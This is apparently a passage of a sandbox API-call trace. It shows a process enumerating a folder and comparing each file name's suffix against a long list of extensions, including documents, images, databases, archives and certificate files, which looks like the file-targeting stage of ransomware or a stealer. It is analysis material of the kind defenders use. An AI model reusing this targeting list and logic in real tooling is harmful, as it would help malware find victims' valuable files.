lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".dic") returned 4 [0100.294] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".dif") returned 4 [0100.294] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".divx") returned 5 [0100.294] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".djvu") returned 5 [0100.294] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".dng") returned 4 [0100.294] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".doc") returned 4 [0100.294] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".docm") returned 5 [0100.294] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".docx") returned 5 [0100.294] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".dot") returned 4 [0100.294] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".dotm") returned 5 [0100.294] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".dotx") returned 5 [0100.294] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.294] lstrlenW (lpString=".dpx") returned 4 [0100.294] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".dqy") returned 4 [0100.294] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.294] lstrlenW (lpString=".dsn") returned 4 [0100.295] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".dt") returned 3 [0100.295] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.295] lstrlenW (lpString=".dtd") returned 4 [0100.295] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".dwg") returned 4 [0100.295] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".dwt") returned 4 [0100.295] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".dx") returned 3 [0100.295] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.295] lstrlenW (lpString=".dxf") returned 4 [0100.295] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".edml") returned 5 [0100.295] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.295] lstrlenW (lpString=".efd") returned 4 [0100.295] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".elf") returned 4 [0100.295] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".emf") returned 4 [0100.295] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".emz") returned 4 [0100.295] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".epf") returned 4 [0100.295] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.295] lstrlenW (lpString=".eps") returned 4 [0100.296] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".epsf") returned 5 [0100.296] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.296] lstrlenW (lpString=".epsp") returned 5 [0100.296] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.296] lstrlenW (lpString=".erf") returned 4 [0100.296] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".exr") returned 4 [0100.296] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".f4v") returned 4 [0100.296] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".fido") returned 5 [0100.296] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.296] lstrlenW (lpString=".flm") returned 4 [0100.296] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".flv") returned 4 [0100.296] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".frm") returned 4 [0100.296] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".fxg") returned 4 [0100.296] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".geo") returned 4 [0100.296] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".gif") returned 4 [0100.296] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".grs") returned 4 [0100.296] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.296] lstrlenW (lpString=".gz") returned 3 [0100.297] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.297] lstrlenW (lpString=".h") returned 2 [0100.297] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.297] lstrlenW (lpString=".hdr") returned 4 [0100.297] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".hpp") returned 4 [0100.297] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".hta") returned 4 [0100.297] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".htc") returned 4 [0100.297] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".htm") returned 4 [0100.297] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".html") returned 5 [0100.297] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.297] lstrlenW (lpString=".icb") returned 4 [0100.297] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".ics") returned 4 [0100.297] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".iff") returned 4 [0100.297] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".inc") returned 4 [0100.297] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".indd") returned 5 [0100.297] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.297] lstrlenW (lpString=".ini") returned 4 [0100.297] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.297] lstrlenW (lpString=".iqy") returned 4 [0100.297] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".j2c") returned 4 [0100.298] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".j2k") returned 4 [0100.298] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".java") returned 5 [0100.298] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.298] lstrlenW (lpString=".jp2") returned 4 [0100.298] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".jpc") returned 4 [0100.298] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".jpe") returned 4 [0100.298] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".jpeg") returned 5 [0100.298] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.298] lstrlenW (lpString=".jpf") returned 4 [0100.298] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".jpg") returned 4 [0100.298] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".jpx") returned 4 [0100.298] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".js") returned 3 [0100.298] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.298] lstrlenW (lpString=".jsf") returned 4 [0100.298] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".json") returned 5 [0100.298] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.298] lstrlenW (lpString=".jsp") returned 4 [0100.298] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.298] lstrlenW (lpString=".kdc") returned 4 [0100.299] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".kmz") returned 4 [0100.299] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".kwm") returned 4 [0100.299] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".lasso") returned 6 [0100.299] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.299] lstrlenW (lpString=".lbi") returned 4 [0100.299] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".lgf") returned 4 [0100.299] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".lgp") returned 4 [0100.299] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".log") returned 4 [0100.299] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".m1v") returned 4 [0100.299] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".m4a") returned 4 [0100.299] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".m4v") returned 4 [0100.299] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".max") returned 4 [0100.299] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".md") returned 3 [0100.299] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.299] lstrlenW (lpString=".mda") returned 4 [0100.299] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.299] lstrlenW (lpString=".mdb") returned 4 [0100.300] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mde") returned 4 [0100.300] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mdf") returned 4 [0100.300] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mdw") returned 4 [0100.300] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mef") returned 4 [0100.300] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mft") returned 4 [0100.300] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mfw") returned 4 [0100.300] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mht") returned 4 [0100.300] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mhtml") returned 6 [0100.300] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.300] lstrlenW (lpString=".mka") returned 4 [0100.300] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mkidx") returned 6 [0100.300] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.300] lstrlenW (lpString=".mkv") returned 4 [0100.300] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mos") returned 4 [0100.300] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.300] lstrlenW (lpString=".mov") returned 4 [0100.300] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mp3") returned 4 [0100.301] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mp4") returned 4 [0100.301] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mpeg") returned 5 [0100.301] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.301] lstrlenW (lpString=".mpg") returned 4 [0100.301] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mpv") returned 4 [0100.301] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mrw") returned 4 [0100.301] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".msg") returned 4 [0100.301] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".mxl") returned 4 [0100.301] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".myd") returned 4 [0100.301] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".myi") returned 4 [0100.301] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".nef") returned 4 [0100.301] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".nrw") returned 4 [0100.301] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".obj") returned 4 [0100.301] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.301] lstrlenW (lpString=".odb") returned 4 [0100.301] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".odc") returned 4 [0100.302] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".odm") returned 4 [0100.302] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".odp") returned 4 [0100.302] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".ods") returned 4 [0100.302] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".oft") returned 4 [0100.302] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".one") returned 4 [0100.302] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".onepkg") returned 7 [0100.302] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.302] lstrlenW (lpString=".onetoc2") returned 8 [0100.302] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.302] lstrlenW (lpString=".opt") returned 4 [0100.302] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".oqy") returned 4 [0100.302] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".orf") returned 4 [0100.302] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".p12") returned 4 [0100.302] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".p7b") returned 4 [0100.302] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.302] lstrlenW (lpString=".p7c") returned 4 [0100.302] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pam") returned 4 [0100.303] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pbm") returned 4 [0100.303] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pct") returned 4 [0100.303] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pcx") returned 4 [0100.303] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pdd") returned 4 [0100.303] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pdf") returned 4 [0100.303] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pdp") returned 4 [0100.303] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pef") returned 4 [0100.303] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pem") returned 4 [0100.303] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pff") returned 4 [0100.303] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pfm") returned 4 [0100.303] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pfx") returned 4 [0100.303] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".pgm") returned 4 [0100.303] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.303] lstrlenW (lpString=".php") returned 4 [0100.303] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.304] lstrlenW (lpString=".php3") returned 5 [0100.304] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".php4") returned 5 [0100.304] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".php5") returned 5 [0100.304] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".phtml") returned 6 [0100.304] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.304] lstrlenW (lpString=".pict") returned 5 [0100.304] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".pl") returned 3 [0100.304] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.304] lstrlenW (lpString=".pls") returned 4 [0100.304] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.304] lstrlenW (lpString=".pm") returned 3 [0100.304] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.304] lstrlenW (lpString=".png") returned 4 [0100.304] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.304] lstrlenW (lpString=".pnm") returned 4 [0100.304] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.304] lstrlenW (lpString=".pot") returned 4 [0100.304] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.304] lstrlenW (lpString=".potm") returned 5 [0100.304] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".potx") returned 5 [0100.304] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.304] lstrlenW (lpString=".ppa") returned 4 [0100.304] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".ppam") returned 5 [0100.305] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.305] lstrlenW (lpString=".ppm") returned 4 [0100.305] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".pps") returned 4 [0100.305] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".ppsm") returned 5 [0100.305] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.305] lstrlenW (lpString=".ppt") returned 4 [0100.305] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".pptm") returned 5 [0100.305] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.305] lstrlenW (lpString=".pptx") returned 5 [0100.305] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.305] lstrlenW (lpString=".prn") returned 4 [0100.305] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".ps") returned 3 [0100.305] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.305] lstrlenW (lpString=".psb") returned 4 [0100.305] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".psd") returned 4 [0100.305] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".pst") returned 4 [0100.305] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".ptx") returned 4 [0100.305] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.305] lstrlenW (lpString=".pub") returned 4 [0100.305] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.306] lstrlenW (lpString=".pwm") returned 4 [0100.306] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.306] lstrlenW (lpString=".pxr") returned 4 [0100.306] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.306] lstrlenW (lpString=".py") returned 3 [0100.306] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.306] lstrlenW (lpString=".qt") returned 3 [0100.306] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.306] lstrlenW (lpString=".r3d") returned 4 [0100.306] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.306] lstrlenW (lpString=".raf") returned 4 [0100.306] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.306] lstrlenW (lpString=".rar") returned 4 [0100.306] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.306] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.306] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.597] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.597] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0100.597] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.597] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0100.597] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.598] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.598] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.598] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.598] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.598] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.598] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.599] 